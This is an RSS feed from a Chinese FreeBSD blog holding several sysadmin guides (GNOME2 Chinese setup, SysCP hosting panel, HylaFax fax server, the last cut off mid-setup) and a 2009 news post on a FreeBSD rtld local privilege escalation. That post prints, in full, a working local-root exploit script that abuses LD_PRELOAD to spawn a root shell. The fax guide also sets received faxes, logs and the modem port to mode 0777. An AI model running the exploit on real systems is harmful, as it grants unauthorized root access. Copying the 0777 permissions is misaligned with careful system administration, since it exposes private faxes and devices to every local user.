<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; freebsd unix</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/operating_system/freebsd-unix/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>FreeBSD 8.0 releases Gnome2 简体中文安装全攻略(网上转摘）</title>
		<link>http://www.evanjiang.net.cn/archives/1413.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1413.html#comments</comments>
		<pubDate>Fri, 01 Jan 2010 01:52:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1413</guid>
		<description><![CDATA[<p>


 <p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长
CODE:
setenv PACKAGEROOT ftp://ftp.freebsdchina.org
pkg_add -r xorg
pkg_add -r gnome2
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体
CODE:
cd /usr/local/lib/X11/fonts/TTF
fetch http://雅黑字体存放路径/msyh.ttf
mkfontdir
mkfontscale
fc-cache  -fv</p>
<p>2.设置csh为中文环境
CODE:
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc

3.设置
CODE:
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports
CODE:
pkg_add -r cvsup
sed &#8216;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动
此部分仅FreeBSD 8.0 [...]]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，<br />
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长<br />
CODE:<br />
setenv PACKAGEROOT ftp://ftp.freebsdchina.org<br />
pkg_add -r xorg<br />
pkg_add -r gnome2<br />
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体<br />
CODE:<br />
cd /usr/local/lib/X11/fonts/TTF<br />
fetch http://雅黑字体存放路径/msyh.ttf<br />
mkfontdir<br />
mkfontscale<br />
fc-cache  -fv</p>
<p>2.设置csh为中文环境<br />
CODE:<br />
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc<br />
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc<br />
<span id="more-1413"></span><br />
3.设置<br />
CODE:<br />
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc<br />
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的<br />
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;<br />
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports<br />
CODE:<br />
pkg_add -r cvsup<br />
sed &#8216;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile<br />
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动<br />
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。<br />
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块&#8230;.<br />
CODE:<br />
echo &#8220;linux_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
kldload linux<br />
pkg_add -r linux_base-f10</p>
<p>nVidia驱动按照自己的显卡型号，选择适应的驱动。驱动在/usr/ports/x11<br />
CODE:<br />
nvidia-driver-173/<br />
nvidia-driver-71/<br />
nvidia-driver-96/<br />
nvidia-driver/</p>
<p>俺是最新的9600GT所以直接选择了nvidia-driver<br />
CODE:<br />
cd /usr/ports/x11/nvidia-driver<br />
make install clean<br />
kldload nvidia</p>
<p>3.让FreeBSD在启动是装载nvidia驱动。<br />
CODE:<br />
echo &#8220;nvidia_load=&#8221;YES&#8221;" >> /boot/loader.conf</p>
<p>四、xorg.conf的配置和Gnome2的启动。<br />
有人说可以不要，但是我觉得我在里面的改动完全都在Gnome2中体现出来。<br />
Xorg -configure<br />
如果是ps/2鼠标<br />
CODE:<br />
cp ~/xorg.conf.new /etc/X11/xorg.conf<br />
echo &#8220;hald_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
echo &#8220;dbus_enable=&#8221;YES&#8221;" >> /etc/rc.conf</p>
<p>如果是usb鼠标<br />
CODE:<br />
sed &#8216;s:/dev/sysmouse:/dev/usm0:&#8217; ~/xorg.conf.new > /etc/X11/xorg.conf<br />
echo &#8220;moused_type=&#8221;NO&#8221;" >> /etc/rc.conf<br />
echo &#8220;moused_enable=&#8221;NO&#8221;" >> /etc/rc.conf</p>
<p>startx<br />
如果nvidia进入Gnome2没有加载nvidia的驱动，就编辑/etc/X11/xorg.conf<br />
把<br />
CODE:<br />
Driver          &#8220;nv&#8221;</p>
<p>改为<br />
CODE:<br />
Driver          &#8220;nvidia&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1413.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD爆严重安全漏洞.</title>
		<link>http://www.evanjiang.net.cn/archives/1376.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1376.html#comments</comments>
		<pubDate>Thu, 03 Dec 2009 13:17:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1376</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p>
相关脚本如下：</p>
<p>#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c  /dev/null 2>&#038;1
#download from baoz.net
cat > program.c ]]></description>
			<content:encoded><![CDATA[<p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p><span id="more-1376"></span><br />
相关脚本如下：</p>
<p>#!/bin/sh<br />
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″<br />
cat > env.c << _EOF<br />
#include <stdio.h><br />
main() {<br />
       extern char **environ;<br />
       environ = (char**)malloc(8096);<br />
       environ[0] = (char*)malloc(1024);<br />
       environ[1] = (char*)malloc(1024);<br />
       strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);<br />
       execl(”/sbin/ping”, “ping”, 0);<br />
}<br />
_EOF<br />
gcc env.c -o env > /dev/null 2>&#038;1<br />
#download from baoz.net<br />
cat > program.c << _EOF<br />
#include <unistd.h><br />
#include <stdio.h><br />
#include <sys/types.h><br />
#include <stdlib.h><br />
void _init() {<br />
       extern char **environ;<br />
       environ=NULL;<br />
       system(”echo ALEX-ALEX;/bin/sh”);<br />
}<br />
_EOF<br />
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env</p>
<p>FreeBSD尚未就该0day漏洞发布安全公告及官方补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1376.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD下安装SysCP主机管理系统</title>
		<link>http://www.evanjiang.net.cn/archives/1197.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1197.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 04:45:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1197</guid>
		<description><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）
/usr/share/examples/cvsup/ports-supfile
/usr/share/examples/cvsup/www-supfile
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP
cd /usr/ports/sysutils/syscp
make all install clean</p>
<p>对话框Options for apache 2.2.6_2
[X] MYSQL                 Enable MySQL support for apr-dbd
[X] AUTH_BASIC     [...]]]></description>
			<content:encoded><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP<br />
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash<br />
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）<br />
/usr/share/examples/cvsup/ports-supfile<br />
/usr/share/examples/cvsup/www-supfile<br />
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统<br />
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP<br />
cd /usr/ports/sysutils/syscp<br />
make all install clean</p>
<p>对话框Options for apache 2.2.6_2<br />
[X] MYSQL                 Enable MySQL support for apr-dbd<br />
[X] AUTH_BASIC            Enable mod_auth_basic<br />
[X] AUTH_DIGEST           Enable mod_auth_digest<br />
[X] AUTHN_FILE            Enable mod_authn_file<br />
[X] AUTHN_DBD             Enable mod_authn_dbd<br />
[X] AUTHN_DBM             Enable mod_authn_dbm<br />
[X] AUTHN_ANON            Enable mod_authn_anon<br />
[X] AUTHN_DEFAULT         Enable mod_authn_default<br />
[X] AUTHN_ALIAS           Enable mod_authn_alias<br />
[X] AUTHZ_HOST            Enable mod_authz_host<br />
[X] AUTHZ_GROUPFILE       Enable mod_authz_groupfile<br />
[X] AUTHZ_USER            Enable mod_authz_user<br />
[X] AUTHZ_DBM             Enable mod_authz_dbm<br />
[X] AUTHZ_OWNER           Enable mod_authz_owner<br />
[X] AUTHZ_DEFAULT         Enable mod_authz_default<br />
[X] CACHE                 Enable mod_cache<br />
[X] DISK_CACHE            Enable mod_disk_cache<br />
[X] FILE_CACHE            Enable mod_file_cache<br />
[X] DAV                   Enable mod_dav<br />
[X] DAV_FS                Enable mod_dav_fs<br />
[X] ACTIONS               Enable mod_actions<br />
[X] ALIAS                 Enable mod_alias<br />
[X] ASIS                  Enable mod_asis<br />
[X] AUTOINDEX             Enable mod_autoindex<br />
[X] CERN_META             Enable mod_cern_meta<br />
[X] CGI                   Enable mod_cgi<br />
[X] CHARSET_LITE          Enable mod_charset_lite<br />
[X] DBD                   Enable mod_dbd<br />
[X] DEFLATE               Enable mod_deflate<br />
[X] DIR                   Enable mod_dir<br />
[X] DUMPIO                Enable mod_dumpio<br />
[X] ENV                   Enable mod_env<br />
[X] EXPIRES               Enable mod_expires<br />
[X] HEADERS               Enable mod_headers<br />
[X] IMAGEMAP              Enable mod_imagemapx<br />
[X] INCLUDE               Enable mod_include<br />
[X] INFO                  Enable mod_info<br />
[X] LOG_CONFIG            Enable mod_log_config<br />
[X] LOGIO                 Enable mod_logio<br />
[X] MIME                  Enable mod_mime<br />
[X] MIME_MAGIC            Enable mod_mime_magic<br />
[X] NEGOTIATION           Enable mod_negotiation<br />
[X] REWRITE               Enable mod_rewrite<br />
[X] SETENVIF              Enable mod_setenvif<br />
[X] SPELING               Enable mod_speling<br />
[X] STATUS                Enable mod_status<br />
[X] UNIQUE_ID             Enable mod_unique_id<br />
[X] USERDIR               Enable mod_userdir<br />
[X] USERTRACK             Enable mod_usertrack<br />
[X] VHOST_ALIAS           Enable mod_vhost_alias<br />
[X] FILTER                Enable mod_filter<br />
[X] VERSION               Enable mod_version<br />
[X] SSL                   Enable mod_ss</p>
<p>对话框Options for dovecot 1.0.7选择<br />
[X] KQUEUE    kqueue(2) support<br />
[X] SSL       SSL support<br />
[X] IPV6      IPv6 support<br />
[X] POP3      POP3 support<br />
[X] LDA       LDA support<br />
[X] MYSQL     MySQL support<br />
[X] SQLITE    SQLite support<br />
<span id="more-1197"></span><br />
对话框Options for postfix 2.4.6,1，选择<br />
[X] PCRE      Perl Compatible Regular Expressions<br />
[X] DOVECOT   Dovecot SASL authentication method<br />
[X] BDB       Berkeley DB (choose version with WITH_BDB_VER)<br />
[X] MYSQL     MySQL maps (choose version with WITH_MYSQL_VER)<br />
[X] VDA       VDA (Virtual Delivery Agent) </p>
<p>You need user &#8220;postfix&#8221; added to group &#8220;mail&#8221;.<br />
Would you like me to add it [y]? Y</p>
<p>Would you like to activate Postfix in /etc/mail/mailer.conf [n]? y</p>
<p>选择Options for proftpd-mysql 1.3.1_1<br />
[X] MYSQL            Use MySQL<br />
[X] OPENSSL          Include mod_tls<br />
[X] QUOTA            Include mod_quota<br />
[X] IFSESSION        Include mod_ifsession<br />
[X] README           Include mod_readme<br />
[X] RATIO            Include mod_ratio<br />
[X] REWRITE          Include mod_rewrite<br />
[X] WRAP             Include mod_wrap2<br />
[X] RADIUS           Include mod_radius</p>
<p>选项 Options for gd 2.0.35,1<br />
[X] ICONV       iconv support </p>
<p>对话框Options for php5 5.2.4_1<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only)</p>
<p>//对话框Options for php5 5.2.4_1，我选择：<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only) </p>
<p>6、创建并编辑/usr/local/etc/apache22/Includes/aliases.conf<br />
ee /usr/local/etc/apache22/Includes/aliases.conf<br />
<IfModule alias_module><br />
   Alias /syscp &#8220;/usr/local/www/syscp/&#8221;<br />
   <Directory "/usr/local/www/syscp"><br />
      AllowOverride None<br />
   </Directory><br />
</IfModule></p>
<p>7、修改/usr/local/etc/apache2/httpd.conf<br />
ee /usr/local/etc/apache2/httpd.conf<br />
添加：<br />
AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php-source .phps</p>
<p>7、重新加载Apache配置<br />
/usr/local/sbin/apachectl graceful</p>
<p>8、编辑/etc.rc.conf<br />
apache22_enable=&#8221;YES&#8221;<br />
mysql_enable=&#8221;YES&#8221;<br />
named_enable=&#8221;YES&#8221;<br />
dovecot_enable=&#8221;YES&#8221;<br />
postfix_enable=&#8221;YES&#8221;<br />
proftpd_enable=&#8221;YES&#8221;</p>
<p>9、完成配置，重启后就可以进入http://您的IP/syscp管理系统</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1197.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD传真服务器(FreeBSD+HylaFax+Apache+php+Mysql+AvantFax)</title>
		<link>http://www.evanjiang.net.cn/archives/1180.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1180.html#comments</comments>
		<pubDate>Mon, 08 Jun 2009 14:41:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1180</guid>
		<description><![CDATA[<p>以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。</p>
<p>FreeBSD安装选择Minimal+Ports
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组</p>
<p>Handbook
http://cnsnap.cn.freebsd.org/doc &#8230; ndbook/install.html</p>
<p>开启FTP服务</p>
<p>编辑/etc/inetd.conf文件去掉ftp前的注释&#8217;#'。</p>
<p>#vi /etc/inetd.conf
ftp     stream  tcp     nowait  root    /usr/libexec/ftpd       ftpd -l</p>
<p>启动inetd程序
#/etc/rc.d/inetd start</p>
<p>添加vincent用户，用于FTP登录上传文件
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>使用wget加快ports软件下载</p>
<p>安装wget程序，加快软件包下载速度。
#cd /usr/ports/net/wget
#make install clean</p>
<p>编辑/etc/make.conf
#vi /etc/make.conf</p>
<p>FETCH_CMD=wget -c -t 1
DISABLE_SIZE=yes</p>
<p>MASTER_SITE_OVERRIDE= \
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/</p>
<p>设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入</p>
<p>#vi .cshrc [...]]]></description>
			<content:encoded><![CDATA[<p>以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。</p>
<p>FreeBSD安装选择Minimal+Ports<br />
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组</p>
<p>Handbook<br />
http://cnsnap.cn.freebsd.org/doc &#8230; ndbook/install.html</p>
<p>开启FTP服务</p>
<p>编辑/etc/inetd.conf文件去掉ftp前的注释&#8217;#'。</p>
<p>#vi /etc/inetd.conf<br />
ftp     stream  tcp     nowait  root    /usr/libexec/ftpd       ftpd -l</p>
<p>启动inetd程序<br />
#/etc/rc.d/inetd start</p>
<p>添加vincent用户，用于FTP登录上传文件<br />
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>使用wget加快ports软件下载</p>
<p>安装wget程序，加快软件包下载速度。<br />
#cd /usr/ports/net/wget<br />
#make install clean</p>
<p>编辑/etc/make.conf<br />
#vi /etc/make.conf</p>
<p>FETCH_CMD=wget -c -t 1<br />
DISABLE_SIZE=yes</p>
<p>MASTER_SITE_OVERRIDE= \<br />
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \<br />
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/</p>
<p>设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入</p>
<p>#vi .cshrc     //编辑完后记得重新登录<br />
setenv PACKAGEROOT      ftp://ftp.tw.freebsd.org</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; </p>
<p>HylaFAX    ( WebSite http://www.hylafax.org/ )</p>
<p>HylaFAX是一个基于C/S 架构,企业级的收发传真系统，高效稳固。局域网中只要有一台连接Modem的HylaFAX服务器，就能为局域网所有用户提供传真服务。</p>
<p>软件安装</p>
<p>Package方法安装<br />
#pkg_add -r hylafax</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/comms/hylafax<br />
#make install clean</p>
<p>软件设置</p>
<p>#faxsetup<br />
<span id="more-1180"></span><br />
Should an entry be added for the FaxMaster to /etc/aliases [yes]?<br />
应该在/etc/aliases中增加一个条FaxMaster记录[yes]? yes</p>
<p>Users to receive fax related mail [root]?<br />
输入接收传真相关信息的Email用户[root]? vincent</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Country code [1]?<br />
国家代码[1]? 0086</p>
<p>Area code []?<br />
区号[]? 0750</p>
<p>Long distance dialing prefix [1]?<br />
长途拨号前缀 [1]? 0</p>
<p>International dialing prefix [011]?<br />
国际拨号前缀 [001]? 0750</p>
<p>Dial string rules file (relative to /var/spool/hylafax)["etc/dialrules"]?<br />
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认</p>
<p>Tracing during normal server operation [1]?<br />
追踪正常服务程序[1]? 1</p>
<p>Default tracing during send and receive session [0xfffffffff]?<br />
默认追查在发送和接收 session [0xfffffffff]? 按enter默认</p>
<p>Continuation cover page (relative to /var/spool/hylafax) []?<br />
传真封面页所在目录 ( /var/spool/hylafax )[]? 按enter默认</p>
<p>Timeout when converting PostScript documents (secs) [180]?<br />
转换PostScript文件逾时时间[180]? 180</p>
<p>Maximum number of concurrent jobs to a destination[1]?<br />
一个目的地最大数量的并行工作[1]? 1</p>
<p>Define a group of modems []<br />
定义一组调制解调器[] 按enter默认</p>
<p>Time of day restrictions for outbound jobs ["Any"]?<br />
一天中限制传真外发时间["Any"]? 按enter默认</p>
<p>Pathname of destination controls file (relative to /var/spool/hylafax) []?<br />
控制文件的路径( /var/spool/hylafax )[]? 按enter默认</p>
<p>Timeout before purging a stale UUCP lock file (secs) [30]<br />
超时前清除旧的UUCP锁定文件[30]？30</p>
<p>Max number of pages to permit in an outbound job [0xffffffff]?<br />
允许在出站的最大页数[0xffffffff]? 按enter默认</p>
<p>Syslog facility name for ServerTracing messages [daemon]?<br />
系统日志跟踪记录程序[daemon]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Should I restart the HylaFAX process [yes]?<br />
应该重新启动HylaFAX进程[yes]? yes</p>
<p>You do not appear to have any modem configured for use. Modems are<br />
configured for use with HylaFax with the faxaddmodem command.<br />
Do you want to run faxaddmomdem to configure a modme [yes]?<br />
您似乎没有任何调制解调器配置为使用。调制解调器配置为使用HylaFax与faxaddmodem命令。<br />
你想运行faxaddmomdem配置modme[yes]? yes</p>
<p>Serial port that modem is connected to []?<br />
调制解调器连接到那个串行端口[]? ttyd0    //我的是com1,所以是ttyd0；请根据实际配置。</p>
<p>country code[1]<br />
国家代码[1]? 0086</p>
<p>Area code [415]?<br />
区号[]? 0750</p>
<p>Phone number of fax modem [+1,9999.5555.1212]?<br />
传真的电话号码[+1,9999.5555.1212]? 8607501234567</p>
<p>Local Identifications string (for TS/CIG) ["NothingEtup"]?<br />
本地传真机标识(for TS/CIG) ["NothingEtup"]? FreeBSD.org</p>
<p>Long distance dialing prefix [1]?<br />
长途拨号前缀 [1]? 0</p>
<p>International dialing prefix [011]?<br />
国际拨号前缀 [001]? 0750</p>
<p>Dial string rules file (relative to /var/spool/hylafax) [etc/dialrules]?<br />
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认</p>
<p>Tracing during normal server operation [1]?<br />
追踪正常服务程序[1]? 1</p>
<p>Tracing during send and receive sessions [11]?<br />
追踪发送和接收 session [11]? 按enter默认</p>
<p>Protection mode for received facsimile [0600]?<br />
收到传真的文件权限[0600]？ 0777</p>
<p>Protection mode for session logs [0600]?<br />
记录文件的档案权限[0600]? 0777</p>
<p>Protection mode for ttyd0 [0600]?<br />
端口的访问权限[0600]? 0777</p>
<p>Rings to wait before answering [1]?<br />
响铃几声后，开始接受传真[1]? 2</p>
<p>Modem speaker volume [off]?<br />
Modem的喇叭音量[off]? on</p>
<p>Command line arguments to getty program ["-h %l dx_%s"]?<br />
接收传真的命令行参数["-h %l dx_%s"]? 按enter默认</p>
<p>Pathname of TSI access control list file (relative to /var/spool/hylafax)[""]?<br />
访问控制列表的TSI文件路径( /var/spool/hylafax )[""]? 按enter默认</p>
<p>Pathname of Caller-ID access control list file (relative to /var/spool/hylafax)[""]?<br />
来电Caller-ID访问控制列表文件路径( /var/spool/hylafax )[""]? 按enter默认</p>
<p>Tag line font file (relative to /var/spool/hylafax) [etc/lutRS18.pcf]?<br />
标记行字体文件( /var/spool/hylafax ) [etc/lutRS18.pcf]? 按enter默认</p>
<p>Tag line form string ["From %%1|%c|Page %%P of %%T"]?<br />
标记行字符串形式["From %%1|%c|Page %%P of %%T"]? 按enter默认</p>
<p>Time before purging a stale UUCP lock file (secs) [30]?<br />
超时前清除旧的UUCP锁定文件[30]？30</p>
<p>Hold UUCP lockfile during inbound data calls [Yes]?<br />
当传真进来时，保留UUCP 设定文件[Yes]? yes</p>
<p>Hold UUCP lockfile during inbound voice calls [Yes]?<br />
当语音进来时，保留UUCP 设定文件[Yes]? yes</p>
<p>Percent good lines to accept during copy quality checking [95]?<br />
线路好的时候，在什么百份比时进行检查[95]? 95</p>
<p>Max consecutive bad lines to accept during copy quality checking [5]?<br />
